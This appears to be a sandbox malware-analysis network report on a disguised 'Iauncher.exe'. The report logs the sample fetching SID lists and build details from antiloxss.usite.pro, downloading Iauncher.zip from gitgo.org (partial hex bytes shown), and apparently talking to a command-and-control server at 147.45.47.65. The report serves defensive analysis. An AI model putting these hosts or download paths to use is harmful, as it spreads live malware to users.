May 1, 2024 20:35:50.695530891 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.695552111 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.695565939 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.697150946 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.697170019 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.697210073 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.697233915 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.697248936 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.699300051 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.699315071 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.699357033 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.699363947 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.699392080 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.700222969 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.700263977 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.700283051 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.700289011 CEST	443	49710	172.67.202.98	192.168.2.7
May 1, 2024 20:35:50.700325012 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.700336933 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:50.700609922 CEST	49710	443	192.168.2.7	172.67.202.98
May 1, 2024 20:35:52.626734972 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:35:52.829227924 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:35:52.829305887 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:35:52.840980053 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:35:53.043634892 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:35:53.093751907 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:35:53.101815939 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:35:53.357110023 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:35:54.029433966 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:35:54.072530031 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:00.194132090 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:00.399689913 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:00.399715900 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:00.399729967 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:00.399743080 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:00.399758101 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:00.399785042 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:00.399835110 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:02.712201118 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:02.914516926 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:02.914618015 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:02.914685011 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:03.116942883 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.117161036 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.117177010 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:03.117214918 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.117269039 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:03.117330074 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:03.319364071 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.319386959 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.319524050 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.319528103 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:03.319613934 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:03.319623947 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.319704056 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:03.319762945 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.319834948 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:03.319911003 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.319921017 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.320123911 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:03.320538044 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.320549965 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.320571899 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.320651054 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:03.523164988 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.523180962 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.523262024 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:03.523303986 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.523355007 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:03.523484945 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.523674965 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.523839951 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.524008989 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.524094105 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:03.524156094 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:03.524173021 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.524302959 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.524312973 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.524326086 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.725469112 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.725641012 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.726085901 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:03.726131916 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:03.726442099 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.726526976 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.726748943 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.726901054 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.727046967 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.727092028 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.727305889 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.729288101 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:03.729337931 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:03.928340912 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.928366899 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.928442001 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.928613901 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.928805113 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.928972960 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.929286003 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.931513071 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.931556940 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.931632996 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.931821108 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.931986094 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.932251930 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.932312012 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:03.960031986 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:03.960124969 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:03.960124969 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:03.960180044 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:04.162429094 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.162451029 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.162619114 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.162724018 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.162915945 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.163132906 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.163206100 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.163422108 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.163525105 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.163691998 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.163846970 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.163911104 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.164081097 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.164243937 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.164396048 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.207410097 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:04.207494020 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:04.207494020 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:04.207552910 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:04.409851074 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.409955978 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.410082102 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.410307884 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.410413027 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.410629034 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.410712004 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.410859108 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.411027908 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.411091089 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.411293030 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.411355972 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.411456108 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.411608934 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.437783003 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:04.640146017 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.640168905 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.640403032 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:04.640446901 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:05.638952017 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:05.641411066 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:05.845026970 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:06.041215897 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:06.086258888 CEST	49711	47232	192.168.2.7	147.45.47.65
May 1, 2024 20:36:06.201443911 CEST	47232	49711	147.45.47.65	192.168.2.7
May 1, 2024 20:36:06.201544046 CEST	49711	47232	192.168.2.7	147.45.47.65

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 1, 2024 20:35:42.249021053 CEST	53343	53	192.168.2.7	1.1.1.1
May 1, 2024 20:35:42.698146105 CEST	53	53343	1.1.1.1	192.168.2.7
May 1, 2024 20:35:43.823007107 CEST	60119	53	192.168.2.7	1.1.1.1
May 1, 2024 20:35:43.917963982 CEST	53	60119	1.1.1.1	192.168.2.7
May 1, 2024 20:35:48.993186951 CEST	53029	53	192.168.2.7	1.1.1.1
May 1, 2024 20:35:49.434597969 CEST	53	53029	1.1.1.1	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
May 1, 2024 20:35:43.920305014 CEST	192.168.2.7	172.253.122.101	4d5a		Echo
May 1, 2024 20:35:44.015465021 CEST	172.253.122.101	192.168.2.7	555a		Echo Reply

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 1, 2024 20:35:42.249021053 CEST	192.168.2.7	1.1.1.1	0x6ca9	Standard query (0)	antiloxss.usite.pro	A (IP address)	IN (0x0001)	false
May 1, 2024 20:35:43.823007107 CEST	192.168.2.7	1.1.1.1	0x8fe6	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
May 1, 2024 20:35:48.993186951 CEST	192.168.2.7	1.1.1.1	0xda6c	Standard query (0)	gitgo.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
May 1, 2024 20:35:42.698146105 CEST	1.1.1.1	192.168.2.7	0x6ca9	No error (0)	antiloxss.usite.pro	193.109.246.100	A (IP address)	IN (0x0001)	false
May 1, 2024 20:35:43.917963982 CEST	1.1.1.1	192.168.2.7	0x8fe6	No error (0)	google.com	172.253.122.101	A (IP address)	IN (0x0001)	false
May 1, 2024 20:35:43.917963982 CEST	1.1.1.1	192.168.2.7	0x8fe6	No error (0)	google.com	172.253.122.139	A (IP address)	IN (0x0001)	false
May 1, 2024 20:35:43.917963982 CEST	1.1.1.1	192.168.2.7	0x8fe6	No error (0)	google.com	172.253.122.138	A (IP address)	IN (0x0001)	false
May 1, 2024 20:35:43.917963982 CEST	1.1.1.1	192.168.2.7	0x8fe6	No error (0)	google.com	172.253.122.113	A (IP address)	IN (0x0001)	false
May 1, 2024 20:35:43.917963982 CEST	1.1.1.1	192.168.2.7	0x8fe6	No error (0)	google.com	172.253.122.100	A (IP address)	IN (0x0001)	false
May 1, 2024 20:35:43.917963982 CEST	1.1.1.1	192.168.2.7	0x8fe6	No error (0)	google.com	172.253.122.102	A (IP address)	IN (0x0001)	false
May 1, 2024 20:35:49.434597969 CEST	1.1.1.1	192.168.2.7	0xda6c	No error (0)	gitgo.org	172.67.202.98	A (IP address)	IN (0x0001)	false
May 1, 2024 20:35:49.434597969 CEST	1.1.1.1	192.168.2.7	0xda6c	No error (0)	gitgo.org	104.21.44.179	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

antiloxss.usite.pro

gitgo.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.109.246.100	443	6692	C:\Users\user\Desktop\Iauncher.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 18:35:43 UTC	98	OUT	GET /STLprograms/NEW/z-Closing.txt HTTP/1.1 Host: antiloxss.usite.pro Connection: Keep-Alive
2024-05-01 18:35:43 UTC	324	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 01 May 2024 18:35:40 GMT Content-Type: text/plain Content-Length: 3 Last-Modified: Mon, 15 Apr 2024 17:02:11 GMT Connection: close ETag: "661d5d93-3" Expires: Tue, 21 May 2024 18:35:40 GMT Cache-Control: max-age=1728000 X-Frame-Options: SAMEORIGIN Accept-Ranges: bytes
2024-05-01 18:35:43 UTC	3	IN	Data Raw: 31 30 30 Data Ascii: 100

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49702	193.109.246.100	443	6692	C:\Users\user\Desktop\Iauncher.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 18:35:44 UTC	69	OUT	GET /STLprograms/NEW/hwid.txt HTTP/1.1 Host: antiloxss.usite.pro
2024-05-01 18:35:44 UTC	327	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 01 May 2024 18:35:41 GMT Content-Type: text/plain Content-Length: 183 Last-Modified: Wed, 17 Apr 2024 21:03:02 GMT Connection: close ETag: "66203906-b7" Expires: Tue, 21 May 2024 18:35:41 GMT Cache-Control: max-age=1728000 X-Frame-Options: SAMEORIGIN Accept-Ranges: bytes
2024-05-01 18:35:44 UTC	183	IN	Data Raw: 53 2d 31 2d 35 2d 32 31 2d 31 38 37 38 35 36 33 38 36 33 2d 32 36 32 37 33 37 33 32 30 37 2d 33 31 31 34 31 32 37 33 33 33 2d 31 30 30 31 0a 53 2d 31 2d 35 2d 32 31 2d 32 34 39 39 36 32 30 37 39 39 2d 32 34 31 35 33 31 36 38 39 31 2d 38 37 34 30 38 34 35 34 36 2d 31 30 30 31 0a 53 2d 31 2d 35 2d 32 31 2d 33 32 30 37 38 37 35 35 2d 31 37 36 39 31 31 34 32 35 34 31 2d 31 30 34 38 30 33 30 35 37 35 2d 31 30 30 31 0a 53 2d 31 2d 35 2d 32 31 2d 33 32 30 37 38 37 35 35 2d 31 37 36 39 31 31 34 32 35 34 2d 31 30 34 38 30 33 30 35 37 35 2d 31 30 30 31 Data Ascii: S-1-5-21-1878563863-2627373207-3114127333-1001S-1-5-21-2499620799-2415316891-874084546-1001S-1-5-21-32078755-17691142541-1048030575-1001S-1-5-21-32078755-1769114254-1048030575-1001

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49703	193.109.246.100	443	6692	C:\Users\user\Desktop\Iauncher.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 18:35:45 UTC	77	OUT	GET /STLprograms/NEW/LM19AR/hwids.txt HTTP/1.1 Host: antiloxss.usite.pro
2024-05-01 18:35:45 UTC	326	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 01 May 2024 18:35:42 GMT Content-Type: text/plain Content-Length: 44 Last-Modified: Wed, 24 Apr 2024 18:13:24 GMT Connection: close ETag: "66294bc4-2c" Expires: Tue, 21 May 2024 18:35:42 GMT Cache-Control: max-age=1728000 X-Frame-Options: SAMEORIGIN Accept-Ranges: bytes
2024-05-01 18:35:45 UTC	44	IN	Data Raw: 53 2d 31 2d 35 2d 32 31 2d 32 32 35 32 33 36 39 36 35 36 2d 31 30 35 37 34 34 30 37 34 30 2d 38 33 34 34 36 37 31 33 2d 31 30 30 31 Data Ascii: S-1-5-21-2252369656-1057440740-83446713-1001

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49705	193.109.246.100	443	6692	C:\Users\user\Desktop\Iauncher.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 18:35:46 UTC	88	OUT	GET /STLprograms/NEW/LM19AR/Gitgo2/BuildLink.txt HTTP/1.1 Host: antiloxss.usite.pro
2024-05-01 18:35:47 UTC	326	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 01 May 2024 18:35:43 GMT Content-Type: text/plain Content-Length: 30 Last-Modified: Thu, 25 Apr 2024 15:24:42 GMT Connection: close ETag: "662a75ba-1e" Expires: Tue, 21 May 2024 18:35:43 GMT Cache-Control: max-age=1728000 X-Frame-Options: SAMEORIGIN Accept-Ranges: bytes
2024-05-01 18:35:47 UTC	30	IN	Data Raw: 68 74 74 70 73 3a 2f 2f 67 69 74 67 6f 2e 6f 72 67 2f 49 61 75 6e 63 68 65 72 2e 7a 69 70 Data Ascii: https://gitgo.org/Iauncher.zip

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49706	193.109.246.100	443	6692	C:\Users\user\Desktop\Iauncher.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 18:35:47 UTC	88	OUT	GET /STLprograms/NEW/LM19AR/Gitgo2/BuildName.txt HTTP/1.1 Host: antiloxss.usite.pro
2024-05-01 18:35:48 UTC	325	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 01 May 2024 18:35:44 GMT Content-Type: text/plain Content-Length: 12 Last-Modified: Thu, 25 Apr 2024 15:24:42 GMT Connection: close ETag: "662a75ba-c" Expires: Tue, 21 May 2024 18:35:44 GMT Cache-Control: max-age=1728000 X-Frame-Options: SAMEORIGIN Accept-Ranges: bytes
2024-05-01 18:35:48 UTC	12	IN	Data Raw: 49 61 75 6e 63 68 65 72 2e 65 78 65 Data Ascii: Iauncher.exe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49708	193.109.246.100	443	6692	C:\Users\user\Desktop\Iauncher.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 18:35:48 UTC	91	OUT	GET /STLprograms/NEW/LM19AR/Gitgo2/BuildZipName.txt HTTP/1.1 Host: antiloxss.usite.pro
2024-05-01 18:35:48 UTC	325	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 01 May 2024 18:35:45 GMT Content-Type: text/plain Content-Length: 12 Last-Modified: Thu, 25 Apr 2024 15:24:42 GMT Connection: close ETag: "662a75ba-c" Expires: Tue, 21 May 2024 18:35:45 GMT Cache-Control: max-age=1728000 X-Frame-Options: SAMEORIGIN Accept-Ranges: bytes
2024-05-01 18:35:48 UTC	12	IN	Data Raw: 49 61 75 6e 63 68 65 72 2e 7a 69 70 Data Ascii: Iauncher.zip

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49710	172.67.202.98	443	6692	C:\Users\user\Desktop\Iauncher.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 18:35:49 UTC	71	OUT	GET /Iauncher.zip HTTP/1.1 Host: gitgo.org Connection: Keep-Alive
2024-05-01 18:35:50 UTC	681	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 18:35:50 GMT Content-Type: application/zip Content-Length: 418397 Connection: close Last-Modified: Thu, 25 Apr 2024 15:31:32 GMT ETag: "6625d-616ed7b506247" Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RCLdCLfavCmoVAMJjOnInGiyjOd0OPuKjVniCyLiRcs5R%2B%2BEp9QBZOfiFZvC3ul5tMl%2FPis6PAC%2FO0nHg6S1MKDLH37uyY2W7nFZMOMtz5fI6vVVCTk2Ya%2BGBII%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d1dfa45d0b0854-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 18:35:50 UTC	688	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 a5 93 99 58 7b a5 c2 5b bf 61 06 00 00 b6 07 00 0c 00 00 00 49 61 75 6e 63 68 65 72 2e 65 78 65 e4 fd 7d 7c 54 c5 f5 38 8e df dd bd 49 2e 64 c3 5d 60 81 08 51 22 ac 8a 06 35 b2 a8 89 1b 70 13 d8 24 5a 82 1b 62 76 89 98 c4 aa a4 e9 fa 84 70 2f 0f 4a 20 78 b3 9a 9b f1 2a 6d b5 b5 ad b6 fa b6 b6 fa b6 fd 94 b6 2a f8 bc c9 d2 3c 20 f2 a4 6f c5 a2 36 58 aa 13 37 6a 78 30 d9 40 c8 fd 9d 33 77 77 b3 60 50 fb 79 bf be df 3f be 3f 34 7b ef 9d 39 33 73 e6 cc cc 99 73 ce cc 9c 29 bb 61 33 67 e1 38 8e 87 3f 5d e7 b8 6d 9c f1 cf cd 7d f7 bf 28 fc 8d 9b fe ca 38 ee 85 31 6f 9f bb cd b4 e8 ed 73 af af ff f1 aa ec 15 2b ef fa d1 ca 1f de 91 7d cb 0f ef bc f3 2e 29 fb e6 e5 d9 2b e5 3b b3 7f 7c 67 f6 c2 eb 2a b2 ef b8 eb d6 e5 97 64 64 8c 75 Data Ascii: PKX{[aIauncher.exe}\|T8I.d]`Q"5p$Zbvp/J xm< o6X7jx0@3ww`Py??4{93ss)a3g8?]m}(81os+}.)+;\|g*ddu
2024-05-01 18:35:50 UTC	1369	IN	Data Raw: e7 65 63 70 7d 0d 64 aa 5e 3e 17 de 9f 9e 05 3f 6a c6 6c f8 a5 cb b0 94 da 9a f0 cb eb f1 eb 99 cb 00 70 25 96 be 80 95 5e 5f 8f ef 57 b2 f7 9d f1 7f 64 a1 83 af 20 1f 00 66 b3 95 5b 78 4e b5 d0 a5 e5 80 90 e4 c8 aa f2 69 6b 6d ea 02 1e 70 fc 3c 03 82 8a 33 c9 22 87 5d 2d c9 24 0b f8 da 1a 55 80 87 5a ca b3 5f 7c 6f 77 5b 39 f6 c8 e0 48 78 59 9b 95 d3 25 87 00 29 04 fa ea 4c 8e 6b a5 d3 c3 58 d4 3c ec f7 2b 05 2f 45 46 54 15 0e 86 24 78 ff d4 8b ef ce 10 83 d0 4a 67 ba 3a c5 fb e7 9c cb 71 e5 74 27 c6 90 ce 60 97 34 56 2b 9c a9 74 77 ab a5 43 e1 9e 0b 7e cd 71 81 d9 f4 cf 18 a9 72 aa 9b 57 dd 42 5d 87 db 6a 32 85 2b c8 8d 0e 6b 25 e9 79 59 d7 f5 8d ae 0f d6 dc 10 10 97 ba f6 af 99 5a 01 d8 d8 d4 6a 5b a5 ea b1 53 3f 20 a4 6c b7 b6 f3 39 5c 64 ae cf 5f ee Data Ascii: ecp}d^>?jlp%^_Wd f[xNikmp<3"]-$UZ_\|ow[9HxY%)LkX<+/EFT$xJg:qt'`4V+twC~qrWB]j2+k%yYZj[S? l9\d_
2024-05-01 18:35:50 UTC	1369	IN	Data Raw: 59 6e 64 6d 82 e6 7e 84 cf f3 62 8e f0 e9 88 e5 5c 7b 16 32 8d 17 58 6a 22 10 37 ef 55 9b d8 07 c0 14 94 b3 fc 9e c4 fc 6e 37 f2 73 f6 47 ce ff 8e 1c 33 18 64 26 f1 f2 44 40 28 06 0e 2d ba 82 b5 c0 85 c0 4a 19 db be de b1 56 e3 d7 7a 97 94 03 cc 2c 48 f6 5e 66 12 22 92 c3 cb 90 51 6e c9 e6 94 5b 1c 9c b7 dc 17 c7 44 6d 32 2a 78 20 93 21 84 3d 81 8e 07 d9 12 5e e6 d2 4b e0 05 fa d6 ad a4 1d b9 b8 73 27 bd f6 1a 84 5a da 96 6d 30 04 6d b1 8d 1e 3a 0b 99 85 8f 9e 7b 0d e3 15 6c ce 6f 5c 9b c1 c9 53 94 90 cd cb f8 49 db 80 31 d4 65 7e 38 14 31 cf 09 19 83 5a e9 b5 ea b2 8d 71 3d cf 31 6f c0 04 8c 5e f4 87 80 df 0f d5 89 13 21 84 fe 11 a6 a0 3a e2 19 52 b6 db bb c2 3e 3f cb 2a e3 4d 28 cd a4 ad 35 f9 a9 e9 d1 d8 5c 14 ec 97 a6 04 75 69 5c 6c 3a f9 fc 76 36 9d Data Ascii: Yndm~b\{2Xj"7Un7sG3d&D@(-JVz,H^f"Qn[Dm2x !=^Ks'Zm0m:{lo\SI1e~81Zq=1o^!:R>?M(5\ui\l:v6
